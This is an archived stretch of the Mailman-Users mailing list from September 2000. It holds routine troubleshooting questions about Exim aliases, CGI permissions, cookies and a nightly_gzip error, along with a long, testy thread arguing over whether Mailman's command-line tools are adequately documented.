> ROGER B.A. KLORESE                                          rogerk at QueerNet.ORG
> PO Box 14309		                                San Francisco, CA 94114
> "There is only one real blasphemy -- the refusal of joy!"       -- Paul Rudnick
> 
> 
> ------------------------------------------------------
> Mailman-Users maillist  -  Mailman-Users at python.org
> http://www.python.org/mailman/listinfo/mailman-users
> 



From mr.bad at pigdog.org  Fri Sep 22 19:48:35 2000
From: mr.bad at pigdog.org (Mr.Bad)
Date: 22 Sep 2000 10:48:35 -0700
Subject: [Mailman-Users] Getting a Subscriber List
In-Reply-To: "Roger B.A. Klorese"'s message of "Thu, 21 Sep 2000 20:06:01 -0700 (PDT)"
References: <Pine.BSI.4.21.0009212002350.13469-100000@castro.queernet.org>
Message-ID: <8766nopbbg.fsf@roy.bad-people-of-the-future.san-francisco.ca.us>

>>>>> "RBAK" == Roger B A Klorese <rogerk at QueerNet.ORG> writes:

    RBAK> Frankly, I'd rather write a check for someone to write the
    RBAK> documentation; I have much, much better things to do with my
    RBAK> time than write it.  Like tend to the needs of users.

Cool. I'll write it for $150/hr.

Talk to me off-line.

~Mr. Bad

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From taowu at ccs.neu.edu  Fri Sep 22 20:03:02 2000
From: taowu at ccs.neu.edu (Tao Wu)
Date: Fri, 22 Sep 2000 14:03:02 -0400
Subject: [Mailman-Users] return nothing from wrapper
Message-ID: <008a01c024bf$5a452bd0$460019c0@sand>

Hi
I create a test mailing list in our mail server and exim is being used on
our mail server. However, messages can't posted in test mailing list. After
checking the debug log, I find out following command returned nothing

/path_to_mailman/mail/wrapper post test

I used command 'find_member -l test tom' and I could see a lot of email
address returned. Can anyone help me figure out why 'wrapper post test'
returns nothing.

thanx advance.

tao wu




From majordomo at tsiweb.net  Fri Sep 22 21:34:32 2000
From: majordomo at tsiweb.net (W. Scott Ramsey)
Date: Fri, 22 Sep 2000 15:34:32 -0400
Subject: [Mailman-Users] Can't POST to mailman
Message-ID: <39CBB448.E60F0D08@tsiweb.net>

Can create the new list however after subscribing to the new list I
can't post.  I get the following error message:

Date: Fri, 22 Sep 2000 15:25:01 -0400
From: Mail Delivery System <Mailer-Daemon at tsiweb.net>
To: sramsey at tsiweb.net
Subject: Mail delivery failed: returning message to sender

This message was created automatically by mail delivery software.

A message that you sent could not be delivered to one or more of its
recipients. This is a permanent error. The following address(es) failed:

  happycamper-request at tsiweb.net:
    unknown local-part "happycamper-request" in domain "tsiweb.net"



From esper at sherohman.org  Fri Sep 22 21:37:53 2000
From: esper at sherohman.org (Dave Sherohman)
Date: Fri, 22 Sep 2000 14:37:53 -0500 (CDT)
Subject: [Mailman-Users] Can't POST to mailman
In-Reply-To: <39CBB448.E60F0D08@tsiweb.net> from "W. Scott Ramsey" at "Sep 22,
 2000 03:34:32 pm"
Message-ID: <E13cYdt-0000UL-00@pchan>

W. Scott Ramsey said:
>   happycamper-request at tsiweb.net:
>     unknown local-part "happycamper-request" in domain "tsiweb.net"

Did you update /etc/aliases?  (Do you need to?  What's your MTA?)

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From Dan.Mick at west.sun.com  Fri Sep 22 22:29:33 2000
From: Dan.Mick at west.sun.com (Dan Mick)
Date: Fri, 22 Sep 2000 13:29:33 -0700
Subject: [Mailman-Users] Getting a Subscriber List
References: <Pine.BSI.4.21.0009211948390.13236-100000@castro.queernet.org>
Message-ID: <39CBC12D.BB116057@west.sun.com>


"Roger B.A. Klorese" wrote:
> 
> On Thu, 21 Sep 2000, Dan Mick wrote:
> > Yet another question that would have been answered by examining
> > bin/
> >
> > bin/list_members <listname>
> >
> > Really, folks, try the most-simple things to help yourself before
> > asking the list, please...
> 
> Like a man page, or even a simple one-pager documenting ALL commands, will
> kill anyone?!
> 
> Documentation is part of software.  Undocumented software is geekware.

Did you see me arguing against documentation?

I thought not.  Take your diatribes somewhere they'll do some good.  Better yet,
write that documentation and submit it, so you're part of the solution.


From rogerk at QueerNet.ORG  Fri Sep 22 22:46:39 2000
From: rogerk at QueerNet.ORG (Roger B.A. Klorese)
Date: Fri, 22 Sep 2000 13:46:39 -0700 (PDT)
Subject: [Mailman-Users] Getting a Subscriber List
In-Reply-To: <39CBC12D.BB116057@west.sun.com>
Message-ID: <Pine.BSI.4.21.0009221331140.3222-100000@castro.queernet.org>

On Fri, 22 Sep 2000, Dan Mick wrote:
> Did you see me arguing against documentation?

No, I didn't.  But in the absence of documentation, the only way one can
"look in the bin directory and figure it out yourself" is by reading
Python.  I see no reason literacy in the language a package is written in
should be the price of admission.

> I thought not.  Take your diatribes somewhere they'll do some good.  Better yet,
> write that documentation and submit it, so you're part of the solution.

Why should I not be F*R*E*E to be a user of the software without being a
programmer or tech writer?  The input of a non-developer user as to what's
needed must be respected in the open source process, as it is not
now; that's why we have such powerful, high-quality software that's
impossible to use. 

-- 
ROGER B.A. KLORESE                                          rogerk at QueerNet.ORG
PO Box 14309		                                San Francisco, CA 94114
"There is only one real blasphemy -- the refusal of joy!"       -- Paul Rudnick



From Dan.Mick at west.sun.com  Fri Sep 22 22:54:23 2000
From: Dan.Mick at west.sun.com (Dan Mick)
Date: Fri, 22 Sep 2000 13:54:23 -0700
Subject: [Mailman-Users] Getting a Subscriber List
References: <Pine.BSI.4.21.0009221331140.3222-100000@castro.queernet.org>
Message-ID: <39CBC6FF.E9A9DE31@west.sun.com>


"Roger B.A. Klorese" wrote:
> 
> On Fri, 22 Sep 2000, Dan Mick wrote:
> > Did you see me arguing against documentation?
> 
> No, I didn't.  But in the absence of documentation, the only way one can
> "look in the bin directory and figure it out yourself" is by reading
> Python.  

Complete and utter nonsense.

1) all those utilities have really obvious names (assuming English is a language you speak).
2) all have huge comments at the very top of the file explaining just what they do and what
   options they take.
3) all give a usage message when invoked with no arguments or with -?.

> I see no reason literacy in the language a package is written in
> should be the price of admission.

Well, I knew no Python when I started, and I had sense enough to look around me.
Do you need to know the street map of a town by heart to stay our of intersections?
 
> > I thought not.  Take your diatribes somewhere they'll do some good.  Better yet,
> > write that documentation and submit it, so you're part of the solution.
> 
> Why should I not be F*R*E*E to be a user of the software without being a
> programmer or tech writer?  The input of a non-developer user as to what's
> needed must be respected in the open source process, as it is not
> now; that's why we have such powerful, high-quality software that's
> impossible to use.

Like I said: if you want to rail against Open Software or complain that someone
hasn't volunteered their time to solve your every problem, go somewhere else.
You didn't pay a cent for Mailman, and that gives you no right whatsoever to
be petulant about lack of documentation.

Moreover, it still has no bearing at all on what I said.

I agree that having documentation for the utilities would be unquestionably better,
but I find your attitude about it ungrateful and offensive in the extreme, especially
when you try to bend a completely-different point to your own hobby-horse's purpose.


From GLeblanc at cu-portland.edu  Fri Sep 22 22:54:22 2000
From: GLeblanc at cu-portland.edu (Gregory Leblanc)
Date: Fri, 22 Sep 2000 13:54:22 -0700
Subject: [Mailman-Users] Getting a Subscriber List
Message-ID: <025836EFF856D411A6660090272811E61D0770@EMAIL>

> -----Original Message-----
> From: Roger B.A. Klorese [mailto:rogerk at QueerNet.ORG]
> 
> On Fri, 22 Sep 2000, Dan Mick wrote:
> > Did you see me arguing against documentation?
> 
> No, I didn't.  But in the absence of documentation, the only 
> way one can
> "look in the bin directory and figure it out yourself" is by reading
> Python.  I see no reason literacy in the language a package 
> is written in
> should be the price of admission.

Hogwash.  Learn how to read the FILE NAMES.  They're fairly descriptive, at
least enough to get you started.  There ARE people working on the
documentation.  If you don't like how it's getting done, do it yourself, or
help them out.  Don't just bitch about it.
	Greg


From chuqui at plaidworks.com  Fri Sep 22 23:00:24 2000
From: chuqui at plaidworks.com (Chuq Von Rospach)
Date: Fri, 22 Sep 2000 14:00:24 -0700
Subject: [Mailman-Users] Getting a Subscriber List
In-Reply-To: <39CBC6FF.E9A9DE31@west.sun.com>
References: 
 <Pine.BSI.4.21.0009221331140.3222-100000@castro.queernet.org>
 <39CBC6FF.E9A9DE31@west.sun.com>
Message-ID: <p04330113b5f178da0933@[17.216.27.250]>

At 1:54 PM -0700 9/22/00, Dan Mick wrote:

>Complete and utter nonsense.

yes, it is, Dan, but Roger's not uttering it.

-- 
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Apple Mail List Gnome (mailto:chuq at apple.com)

And they sit at the bar and put bread in my jar
and say 'Man, what are you doing here?'"


From Dan.Mick at west.sun.com  Fri Sep 22 23:04:45 2000
From: Dan.Mick at west.sun.com (Dan Mick)
Date: Fri, 22 Sep 2000 14:04:45 -0700
Subject: [Mailman-Users] Getting a Subscriber List
References: <Pine.BSI.4.21.0009221331140.3222-100000@castro.queernet.org>
	 <39CBC6FF.E9A9DE31@west.sun.com> <p04330113b5f178da0933@[17.216.27.250]>
Message-ID: <39CBC96D.349E7E8B@west.sun.com>


Chuq Von Rospach wrote:
> 
> At 1:54 PM -0700 9/22/00, Dan Mick wrote:
> 
> >Complete and utter nonsense.
> 
> yes, it is, Dan, but Roger's not uttering it.

Yup, I agree.  Either the solution is right in front of me, in fact
read to me by a third party, or there's no alternative.  No middle ground
whatever.  None.


From rogerk at QueerNet.ORG  Fri Sep 22 23:06:29 2000
From: rogerk at QueerNet.ORG (Roger B.A. Klorese)
Date: Fri, 22 Sep 2000 14:06:29 -0700 (PDT)
Subject: [Mailman-Users] Getting a Subscriber List
In-Reply-To: <39CBC6FF.E9A9DE31@west.sun.com>
Message-ID: <Pine.BSI.4.21.0009221354540.3222-100000@castro.queernet.org>

On Fri, 22 Sep 2000, Dan Mick wrote:
> 1) all those utilities have really obvious names (assuming English is a language you speak).
> 2) all have huge comments at the very top of the file explaining just what they do and what
>    options they take.
> 3) all give a usage message when invoked with no arguments or with -?.

Yes, they're a fairly good example of how to do this part of it.

> Well, I knew no Python when I started, and I had sense enough to look around me.
> Do you need to know the street map of a town by heart to stay our of intersections?

I'm not a programmer, and do not intend ever to be one again.  If I forget
everything there is to know about it, thaqt would be OK with me.  

You expose one of the fundamental issues at the heart of your line of
reasoning, though: the idea that user literacy has anything to do with
being able to read a single line of code.

> Like I said: if you want to rail against Open Software or complain that someone
> hasn't volunteered their time to solve your every problem, go somewhere else.

I'm not railing against Open Software, thank you.  I've used it, worked on
it, and made a living off addressing this specific deficiency: that people
don't do the whole project, or even consider that without the whole
project being delivered there is no package, but rather, do the parts they
want and assume someone else will do the "unimportant" parts like
documentation.

> You didn't pay a cent for Mailman, and that gives you no right whatsoever to
> be petulant about lack of documentation.

You're confusing "free" and "free" again.  What I'm calling for is for
Open Source developers to have the discipline to know that without
documentation usable by the target non-developer user the job is not done
-- even if they don't like to do that part.

> I agree that having documentation for the utilities would be unquestionably better,
> but I find your attitude about it ungrateful and offensive in the extreme, especially
> when you try to bend a completely-different point to your own hobby-horse's purpose.

If you think that I am using this as a soapbox about a pet issue, you're
right.  If you think it's out of hostility toward Open Source, you
couldn't be more wrong.  I was serious about donating to subsidize the
documentation; I just wish people would realize that an undocumented
package, or one whose interface is user-hostile, will not reach beyond a
developer audience, and that's unfortunate.  

-- 
ROGER B.A. KLORESE                                          rogerk at QueerNet.ORG
PO Box 14309		                                San Francisco, CA 94114
"There is only one real blasphemy -- the refusal of joy!"       -- Paul Rudnick



From rogerk at QueerNet.ORG  Fri Sep 22 23:08:58 2000
From: rogerk at QueerNet.ORG (Roger B.A. Klorese)
Date: Fri, 22 Sep 2000 14:08:58 -0700 (PDT)
Subject: [Mailman-Users] Getting a Subscriber List
In-Reply-To: <025836EFF856D411A6660090272811E61D0770@EMAIL>
Message-ID: <Pine.BSI.4.21.0009221407270.3222-100000@castro.queernet.org>

On Fri, 22 Sep 2000, Gregory Leblanc wrote:
> Hogwash.  Learn how to read the FILE NAMES.  They're fairly descriptive, at
> least enough to get you started.  There ARE people working on the
> documentation.  If you don't like how it's getting done, do it yourself, or
> help them out.  Don't just bitch about it.

Get used to the fact that not all users are developers, and not all should
be, and whether they are or not, they have useful things to say about the
package (including interfaces and documentation).  That's not bitching --
that's user input.  Get used to the fact that it is valid for it to come
from people who will not or cannot "be paretr of the solution." 
-- 
ROGER B.A. KLORESE                                          rogerk at QueerNet.ORG
PO Box 14309		                                San Francisco, CA 94114
"There is only one real blasphemy -- the refusal of joy!"       -- Paul Rudnick



From chuqui at plaidworks.com  Fri Sep 22 23:10:16 2000
From: chuqui at plaidworks.com (Chuq Von Rospach)
Date: Fri, 22 Sep 2000 14:10:16 -0700
Subject: [Mailman-Users] Getting a Subscriber List
In-Reply-To: <39CBC96D.349E7E8B@west.sun.com>
References: 
 <Pine.BSI.4.21.0009221331140.3222-100000@castro.queernet.org>	
 <39CBC6FF.E9A9DE31@west.sun.com>
 <p04330113b5f178da0933@[17.216.27.250]>
 <39CBC96D.349E7E8B@west.sun.com>
Message-ID: <p04330116b5f17b1990ad@[17.216.27.250]>

At 2:04 PM -0700 9/22/00, Dan Mick wrote:

>Yup, I agree.  Either the solution is right in front of me, in fact
>read to me by a third party, or there's no alternative.  No middle ground
>whatever.  None.

There are days, Dan, when you amaze me.

-- 
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Apple Mail List Gnome (mailto:chuq at apple.com)

And they sit at the bar and put bread in my jar
and say 'Man, what are you doing here?'"


From lacayo at exlibris-usa.com  Sat Sep 23 01:19:47 2000
From: lacayo at exlibris-usa.com (Luis F. Lacayo)
Date: Fri, 22 Sep 2000 16:19:47 -0700
Subject: [Mailman-Users] mailman and swish
In-Reply-To: <p04330113b5f178da0933@[17.216.27.250]>
Message-ID: <DNEMKEPFGFOCKMGJIFGEGELOCBAA.lacayo@exlibris-usa.com>

Hello there,

I installed swish-e last month and it has been working fine for the most
part.  My only problem is that we use a lot of words that contain an "_" for
example p_manage_01  and those words are not indexing.  Would anyone now
where I should look to change this.  I do have to admit I have not looked
very hard for this.

Thanks in advance.

Luis




From lacayo at exlibris-usa.com  Sat Sep 23 01:27:34 2000
From: lacayo at exlibris-usa.com (Luis F. Lacayo)
Date: Fri, 22 Sep 2000 16:27:34 -0700
Subject: [Mailman-Users] Getting a Subscriber List
In-Reply-To: <Pine.BSI.4.21.0009221354540.3222-100000@castro.queernet.org>
Message-ID: <DNEMKEPFGFOCKMGJIFGEAELPCBAA.lacayo@exlibris-usa.com>

Gentlemen,

Why not just drop this.  How far do you think arguing about this is going to
take the few of you?  In stead of setting an example of how people can work
together you are going the other way.

Tell you what,  I will buy each of you a beer and we will all see how we can
help get the documentation to all  of the users and help them all.
Programmers or not.

Thanks

Luis

-----Original Message-----
From: mailman-users-admin at python.org
[mailto:mailman-users-admin at python.org]On Behalf Of Roger B.A. Klorese
Sent: Friday, September 22, 2000 2:06 PM
To: Dan Mick
Cc: mailman-users at python.org; charles at hua.com
Subject: Re: [Mailman-Users] Getting a Subscriber List


On Fri, 22 Sep 2000, Dan Mick wrote:
> 1) all those utilities have really obvious names (assuming English is a
language you speak).
> 2) all have huge comments at the very top of the file explaining just what
they do and what
>    options they take.
> 3) all give a usage message when invoked with no arguments or with -?.

Yes, they're a fairly good example of how to do this part of it.

> Well, I knew no Python when I started, and I had sense enough to look
around me.
> Do you need to know the street map of a town by heart to stay our of
intersections?

I'm not a programmer, and do not intend ever to be one again.  If I forget
everything there is to know about it, thaqt would be OK with me.

You expose one of the fundamental issues at the heart of your line of
reasoning, though: the idea that user literacy has anything to do with
being able to read a single line of code.

> Like I said: if you want to rail against Open Software or complain that
someone
> hasn't volunteered their time to solve your every problem, go somewhere
else.

I'm not railing against Open Software, thank you.  I've used it, worked on
it, and made a living off addressing this specific deficiency: that people
don't do the whole project, or even consider that without the whole
project being delivered there is no package, but rather, do the parts they
want and assume someone else will do the "unimportant" parts like
documentation.

> You didn't pay a cent for Mailman, and that gives you no right whatsoever
to
> be petulant about lack of documentation.

You're confusing "free" and "free" again.  What I'm calling for is for
Open Source developers to have the discipline to know that without
documentation usable by the target non-developer user the job is not done
-- even if they don't like to do that part.

> I agree that having documentation for the utilities would be
unquestionably better,
> but I find your attitude about it ungrateful and offensive in the extreme,
especially
> when you try to bend a completely-different point to your own
hobby-horse's purpose.

If you think that I am using this as a soapbox about a pet issue, you're
right.  If you think it's out of hostility toward Open Source, you
couldn't be more wrong.  I was serious about donating to subsidize the
documentation; I just wish people would realize that an undocumented
package, or one whose interface is user-hostile, will not reach beyond a
developer audience, and that's unfortunate.

--
ROGER B.A. KLORESE
rogerk at QueerNet.ORG
PO Box 14309		                                San Francisco, CA 94114
"There is only one real blasphemy -- the refusal of joy!"       -- Paul
Rudnick


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From esper at sherohman.org  Fri Sep 22 23:34:36 2000
From: esper at sherohman.org (Dave Sherohman)
Date: Fri, 22 Sep 2000 16:34:36 -0500 (CDT)
Subject: [Mailman-Users] Getting a Subscriber List
In-Reply-To: <Pine.BSI.4.21.0009221354540.3222-100000@castro.queernet.org> from
 "Roger B.A. Klorese" at "Sep 22, 2000 02:06:29 pm"
Message-ID: <E13caSq-0000bm-00@pchan>

So much for not getting involved in this...

Roger B.A. Klorese said:
> without
> documentation usable by the target non-developer user the job is not done

While that may be true in the general case, the target audience for Mailman
(or at least the command-line portions of it) is not general non-developer
users.  It is system administrators.

Decent sysadmins are, at the very least, technically competent.  They may not
know much about how to write code, but (in a *nix environment - again, this
is the environment that Mailman seems to be designed for) they can at least
recognize the rough purpose of a script by reading its source.  Thus, they
should know to try calling programs with arguments such as -?, -h, or --help
and, if that fails, be capable of reading and understanding an explanatory
comment block in a script, even if they know nothing about the (programming)
language the script is written in.

I'm not saying that Mailman shouldn't have manpages (I agree that it should).
Nor do I think that it would be bad for it to be fully and comprehensively
documented.  However, not all software is targeted to the same audience and
different audiences require different types and amounts of documentation.

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From rogerk at QueerNet.ORG  Fri Sep 22 23:39:18 2000
From: rogerk at QueerNet.ORG (Roger B.A. Klorese)
Date: Fri, 22 Sep 2000 14:39:18 -0700 (PDT)
Subject: [Mailman-Users] Getting a Subscriber List
In-Reply-To: <E13caSq-0000bm-00@pchan>
Message-ID: <Pine.BSI.4.21.0009221435250.5699-100000@castro.queernet.org>

On Fri, 22 Sep 2000, Dave Sherohman wrote:
> While that may be true in the general case, the target audience for Mailman
> (or at least the command-line portions of it) is not general non-developer
> users.  It is system administrators.

True.  And I am a system administrator who is too busy to write code.

> Decent sysadmins are, at the very least, technically competent.  They may not
> know much about how to write code, but (in a *nix environment - again, this
> is the environment that Mailman seems to be designed for) they can at least
> recognize the rough purpose of a script by reading its source.

...but they shouldn't have to.  Yes, I occasionally look at the top 10
lines of a script rather than dig out a manual... but if there's a man
page, I look there first.

> Thus, they
> should know to try calling programs with arguments such as -?, -h, or --help
> and, if that fails, be capable of reading and understanding an explanatory
> comment block in a script, even if they know nothing about the (programming)
> language the script is written in.

Yes, but.  Again, why should we *have* to?  "You got it for free -- lower
your expectations" is an unfortunate expression of how people should
interact with Open Source software... especially since in some areas, like
quality, we get to *raise* our standards.

> I'm not saying that Mailman shouldn't have manpages (I agree that it should).
> Nor do I think that it would be bad for it to be fully and comprehensively
> documented.  However, not all software is targeted to the same audience and
> different audiences require different types and amounts of documentation.

Agreed.

I guess the only-slightly-exaggerated summary of my initial point was "the
command isn't fully written till its manpage is."  It was the watchword
for commercial and internal projects I've been associated with, and it's a
good one, I think.

-- 
ROGER B.A. KLORESE                                          rogerk at QueerNet.ORG
PO Box 14309		                                San Francisco, CA 94114
"There is only one real blasphemy -- the refusal of joy!"       -- Paul Rudnick



From chuqui at plaidworks.com  Sat Sep 23 00:05:04 2000
From: chuqui at plaidworks.com (Chuq Von Rospach)
Date: Fri, 22 Sep 2000 15:05:04 -0700
Subject: [Mailman-Users] Getting a Subscriber List
In-Reply-To: 
 <Pine.BSI.4.21.0009221435250.5699-100000@castro.queernet.org>
References: 
 <Pine.BSI.4.21.0009221435250.5699-100000@castro.queernet.org>
Message-ID: <p0433011fb5f185db115b@[17.216.27.250]>

At 2:39 PM -0700 9/22/00, Roger B.A. Klorese wrote:
>Yes, but.  Again, why should we *have* to?  "You got it for free -- lower
>your expectations" is an unfortunate expression of how people should
>interact with Open Source software...


and it's an incorrect expression. You shouldn't *have* to, but the 
reality is that mailman right now is a work in progress, and there's 
a LOT of progress (just compare 2.0b5 to 1.1), and the documentation 
is trailing code development. This isn't majordomo, where the code 
base hasn't changed significantly in five years.

In a perfect world, this wouldn't happen. but I expect that once 2.0 
ships, we'll be able to sit down, take a breath and bring the 
documentation forward as well, while starting work on 2.1.

You don't need to be a developer to help with the project. Bugs, 
suggestions, problems -- they all help. But "fix the documentation" 
isn't all that useful, because we know that. t just hasn't been 
something we've had time to get done, because of time and resouce 
issues.

(heck, I know I should "lose another 50 pounds", too, but telling me 
I'm overweight doesn't make me lose weight faster... *grin*)

it's a matter of resource and priority, Roger. Right now, Barry's in 
a code crunch, and those of us working on what we can with 2.0 (in my 
case, trying to keep up with CVS and test changes as they come out, 
plus trying to pull together some designs for pieces like a user 
account database) have left no time to write docs, and a moving 
target to write up to boot...

it'll get there, but not in sync or immediately -- because we can't do it.

-- 
Chuq Von Rospach - Plaidworks Consulting (mailto:chuqui at plaidworks.com)
Apple Mail List Gnome (mailto:chuq at apple.com)

And they sit at the bar and put bread in my jar
and say 'Man, what are you doing here?'"


From Sramsey at east.delfin.com  Sat Sep 23 03:10:15 2000
From: Sramsey at east.delfin.com (Sramsey at east.delfin.com)
Date: Fri, 22 Sep 2000 21:10:15 -0400
Subject: [Mailman-Users] Can't POST to mailman
Message-ID: <OFF12D31E8.AFDF85FC-ON85256963.00055915@east.delfin.com>

From: Dave Sherohman <esper at sherohman.org>
Sender: mailman-users-admin at python.org
Precedence: bulk
List-Id: Mailman mailing list management users <mailman-users.python.org>

W. Scott Ramsey said:
>   happycamper-request at tsiweb.net:
>     unknown local-part "happycamper-request" in domain "tsiweb.net"

Did you update /etc/aliases?  (Do you need to?  What's your MTA?)

I was under the impression from the documentation that editing the
/etc/aliases file would break the program.  I'm using Exim (most current
version). I got the HowTo that describes the setup of the exim.conf so
Mailman would work.  So I guess my question is do I need to edit the
aliases file?  I noticed that when you run the newlist command it generates
the entries but does the administrator  need to create these entries in the
aliases file?  Thanks for the response.
__________________________________
W. Scott Ramsey
Sr. Network Engineer - MCNE/CLP (R5)/ACC
Delfin Systems - Fairfax VA
office (703) 449-7600 ext 2172
mobile (703) 861-5482





From kwythers at forestry.umn.edu  Sat Sep 23 18:24:41 2000
From: kwythers at forestry.umn.edu (Kirk R. Wythers)
Date: Sat, 23 Sep 2000 11:24:41 -0500
Subject: [Mailman-Users] can't subscribe
Message-ID: <39CCD949.93510C9A@forestry.umn.edu>

I get a undilverable mail message back when I reply to the confirm
message from mailman. 

forestecol-request at x74-47.forestry.umn.edu: 550
<forestecol-request at x74-47.forestry.umn.edu>... User unknown

Reporting-MTA: dns;mhub2.tc.umn.edu

Original-Recipient: rfc822;forestecol-request at x74-47.forestry.umn.edu
Final-Recipient: rfc822;forestecol-request at x74-47.forestry.umn.edu
Action: failed
Status: 5.1.1
Remote-MTA: dns;x74-47.forestry.umn.edu
Diagnostic-Code: smtp;550
<forestecol-request at x74-47.forestry.umn.edu>... User unknown

This is a new list that I just created. I have another list on this
server that are working fine. Anybody have and suggestions as to what is
going on here. 


-- 
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Email: kwythers at forestry.umn.edu       		 Department of Forest Resources 
Tel: 612.625.22611530                 		 Cleveland Ave. N. 
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From pmalone at cgi-craft.com  Sat Sep 23 21:31:57 2000
From: pmalone at cgi-craft.com (Pat Malone)
Date: Sat, 23 Sep 2000 20:31:57 +0100
Subject: [Mailman-Users] CGI-error
Message-ID: <NEBBIIKFOLIMGGHJFOJAGEPLCAAA.pmalone@cgi-craft.com>

I have managed to install and configure.  Created a new list and actually
received the confirmation email.  The problem is that when I try to access
the web link I get an Internal Server Error and the error log shows
"Directory writeabe by Others".  The permissions appear to be ok when
checked with the check_perms script but if I 755 the directory it wont work
at all!


Pat Malone

pmalone at cgi-craft.com



From vtsaran at nimbus.ocis.temple.edu  Sun Sep 24 02:46:01 2000
From: vtsaran at nimbus.ocis.temple.edu (Victor Tsaran)
Date: Sat, 23 Sep 2000 17:46:01 -0700
Subject: [Mailman-Users] Strange cookie problem with Mailman version2.0 Beta2
Message-ID: <001f01c025c0$dd0f7460$37059ed8@wang>

Listers,
I've seen at least one more user having the same problem that I do.

Here is the situation.
When I try to connect to a list configuration applet, I am asked to
authenticate myself. WHen I do that, I am returned a page, however, after I
make some changes to it and submit my changes back to the server, I am asked
for authentication again and no changes are applied. All other cookie
transactions with other websites work with no problems. I am running
WIndows98 Second Edition. WHen I tried to access list configuration from
Lynx on a Unix machine, everything works fine. here iswhat I did afterwards:
I installed the console version of Lynx onto my WIndows machine. However,
this client could not pick cookie from Mailman, while it could pick
upcookies from otherwebsites. It suggested to me that perhaps there is
something wrong with WIndows TCP/IP because Console Lynx access WIndows
resources to access websites.

Do any of you have suggestions?
Thanks,
Vic

******* ******* *******
have you thought of visiting Cybertsar's Internet Kingdom? It is still
alive!
Here is the URL:
http://nimbus.ocis.temple.edu/~vtsaran/
******* ******* *******



From GLeblanc at cu-portland.edu  Sun Sep 24 00:18:37 2000
From: GLeblanc at cu-portland.edu (Gregory Leblanc)
Date: Sat, 23 Sep 2000 15:18:37 -0700
Subject: [Mailman-Users] Strange cookie problem with Mailman version2.
	0 Beta2
Message-ID: <025836EFF856D411A6660090272811E61D0776@EMAIL>

Upgrade to the latest beta (2.0 beta 5), as it has quite a few fixes
regarding cookies.  If you're going to use a beta version, use the newest
one, or don't use a beta version at all.
	Greg


From jleach at mail.ocis.net  Sun Sep 24 00:52:31 2000
From: jleach at mail.ocis.net (Jason C. Leach)
Date: Sat, 23 Sep 2000 15:52:31 -0700 (PDT)
Subject: [Mailman-Users] Error. w/ a tool.
Message-ID: <Pine.LNX.4.21.0009231550470.5149-100000@praha>

hi,

I'm having a small problem w/ one of mailman's utility aps
'nightley_gzip'. Below is the error it produces, and below 
it is the contents of the directory it's looking through.  I'm not sure
what to correct in it.

The first thing it tries to parse is the '2000-September' directory, and
this is where it bails; never making it to the .txt file.  I could easily
have it skip over any files without a .txt extention, but I am not sure if
that's a sutable patch.  I don't want to lose the archives, or screp em
up.


Thanks,
J.


[mailman at lug cron]$ python nightly_gzip lug
Traceback (innermost last):
  File "nightly_gzip", line 143, in ?
    main()
  File "nightly_gzip", line 114, in main
    time.strptime(f, '%Y-%B.txt')
AttributeError: strptime


[mailman at lug lug]$ ls -la
total 57
drwxrwsr-x   4 mail     mailman      1024 Sep 18 09:32 .
drwxrws--x   5 mailman  mailman      1024 Sep 18 09:32 ..
drwxrwsr-x   2 mail     mailman      1024 Sep 23 04:57 2000-September
-rw-rw-r--   1 mail     mailman     50782 Sep 23 04:57 2000-September.txt
drwxrws---   2 mail     mailman      1024 Sep 23 04:57 database
-rw-rw-r--   1 mail     mailman       905 Sep 23 04:57 index.html
-rw-rw-r--   1 mail     mailman       470 Sep 23 04:57 pipermail.pck



......................
..... Jason C. Leach
... University College of the Cariboo.
. BSc. Comp. Sci. Candidate for 2001.



From claw at kanga.nu  Sun Sep 24 02:51:52 2000
From: claw at kanga.nu (J C Lawrence)
Date: Sat, 23 Sep 2000 17:51:52 -0700
Subject: [Mailman-Users] Getting a Subscriber List 
In-Reply-To: Message from "Roger B.A. Klorese" <rogerk@QueerNet.ORG> 
   of "Fri, 22 Sep 2000 14:39:18 PDT." <Pine.BSI.4.21.0009221435250.5699-100000@castro.queernet.org> 
References: <Pine.BSI.4.21.0009221435250.5699-100000@castro.queernet.org> 
Message-ID: <24990.969756712@kanga.nu>

On Fri, 22 Sep 2000 14:39:18 -0700 (PDT) 
Roger B A Klorese <rogerk at QueerNet.ORG> wrote:

> Yes, but.  Again, why should we *have* to?  

Please (and this is written to everybody participating in this
thread).  You are argueing about agreeing with each other.  Really.
Nobody (worth reading) is going to state that more or better
documentation for Mailman would be a Bad Thing.  Nobody is going to
stand up and state that you, or anybody else MAY NOT write
documentation for Mailman, or even that they personally would stand
up in revolt if you actually did write better documentation or even
got someone else to do it for you.  In fact, the resounding chorus
has been that we do actually NEED better documentation and would
someone please hurry up and volunteer or help out the process?

Where I boggle on this is that the argument seems to be over just
exactly how badly we need it.  Ye gadzooks!  Do we really have to
argue over whether the current documentation situation is
catastrohpic or merely just bad-but-livable?  Can't you just step
back from your keyboards, nod wisely, and mutter, "Yup, better
documentation would be a Good Thing!" and feel slightly smug for a
moment?

What makes this even more amusing (to me) is that it was recently
revealed on the list that one of our members and his associates has
been busy writing both user and admin level documentation for
Mailman in the form of PDFs, and in fact have been doing a damned
fine job of it (careful archive hunters will find them).  So this
leaves us argueing over exactly how horribly bad the current
documentation situation really is -- when we already have strong
evidence that it has already been largely addressed.

Now, just too keep things straight 'cause I'm getting a mite bemused
here, would someone mind telling me whether or not we should shut
the stable door after the horse has bolted?  Just for kicks, I'm
going to vote for leaving it open...

-- 
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--=| A man is as sane as he is dangerous to his environment |=--


From claw at kanga.nu  Sun Sep 24 02:54:27 2000
From: claw at kanga.nu (J C Lawrence)
Date: Sat, 23 Sep 2000 17:54:27 -0700
Subject: [Mailman-Users] Can't POST to mailman 
In-Reply-To: Message from Sramsey@east.delfin.com 
   of "Fri, 22 Sep 2000 21:10:15 EDT." <OFF12D31E8.AFDF85FC-ON85256963.00055915@east.delfin.com> 
References: <OFF12D31E8.AFDF85FC-ON85256963.00055915@east.delfin.com> 
Message-ID: <25160.969756867@kanga.nu>

On Fri, 22 Sep 2000 21:10:15 -0400 
Sramsey  <Sramsey at east.delfin.com> wrote:

> I was under the impression from the documentation that editing the
> /etc/aliases file would break the program.  I'm using Exim (most
> current version). I got the HowTo that describes the setup of the
> exim.conf so Mailman would work.  

If you are are follwing Nigel's Exim/Mailman HOWTO as found at
exim.org, then no, you don't have to edit /etc/aliases as Exim will
auto-detect and handle the list addresses properly.

<<BTW: Nigel deserves several huzzahs! for a very nicely done HOWTO,
especially in the current documentation frenzy>>

-- 
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---------(*)                               Other: coder at kanga.nu
http://www.kanga.nu/~claw/        Keys etc: finger claw at kanga.nu
--=| A man is as sane as he is dangerous to his environment |=--


